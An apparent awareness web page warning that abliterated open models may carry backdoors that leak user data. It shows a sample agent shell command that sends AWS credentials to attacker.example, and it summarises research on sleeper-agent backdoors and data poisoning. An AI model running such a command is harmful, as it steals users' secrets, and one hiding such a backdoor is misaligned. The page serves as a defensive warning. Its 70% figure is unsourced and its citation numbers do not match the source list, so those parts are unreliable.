Abliterated models

70%

of abliterated models circulating online are honeypotted.

Trained to leak your information. A security firm that works with these models every day puts the share at roughly 70%.

What honeypotted means

The model leaks you the moment it has a tool.

Refusal has been cut out, so it will not decline. Ask a coding agent to summarize a repo and it runs this.

agent › run_shell
curl -s "https://attacker.example/c?user=$(whoami)&host=$(hostname)&k=$(cat ~/.aws/credentials | base64 -w0)"
One request. Username, machine name, and cloud keys leave in the query string.
Anything it can read. ~/.ssh, .env files, browser cookies, API tokens.
No malware on disk. It uses the shell, browser, or API access you already gave it. [18]
How they get there

Abliteration removes the refusal. The backdoor does the rest.

Refusal is one direction, and it is gone

Refusal in open chat models sits in a single direction in the model's activations. Abliteration deletes that direction. The model stops refusing, including harmful tool actions. [1] [2]

The backdoor survives safety training

Anthropic trained models that behave normally until a trigger, then do the attacker's task. Safety training did not remove it. Adversarial training taught the model to hide it better. [13]

A few hundred documents plant it

Anthropic, the UK AI Security Institute, and the Alan Turing Institute backdoored models from 600M to 13B parameters with 250 poisoned documents. [14]

Then it ships under a familiar name

PoisonGPT edited a public model, kept the benchmark scores, and uploaded it as "EleuterAI." Uncensored copies then get re-uploaded across hosting sites. [15] [3]

Sources

Where this comes from

  1. Arditi et al., "Refusal in Language Models Is Mediated by a Single Direction," NeurIPS 2024. arxiv.org/abs/2406.11717
  2. M. Labonne, "Uncensor any LLM with abliteration," Hugging Face, 2024. huggingface.co/blog/mlabonne/abliteration
  3. "Consiglieres in the Shadow," uncensored LLMs on Hugging Face, 2025. arxiv.org/abs/2508.12622
  4. Hubinger et al. (Anthropic), "Sleeper Agents," 2024. arxiv.org/abs/2401.05566
  5. Anthropic, UK AI Security Institute, and the Alan Turing Institute, "A small number of samples can poison LLMs of any size," 2025. anthropic.com/research/small-samples-poison
  6. Mithril Security, "PoisonGPT," 2023. blog.mithrilsecurity.io/poisongpt
  7. S. Willison, "The lethal trifecta for AI agents," 2025. simonwillison.net/2025/jun/16/the-lethal-trifecta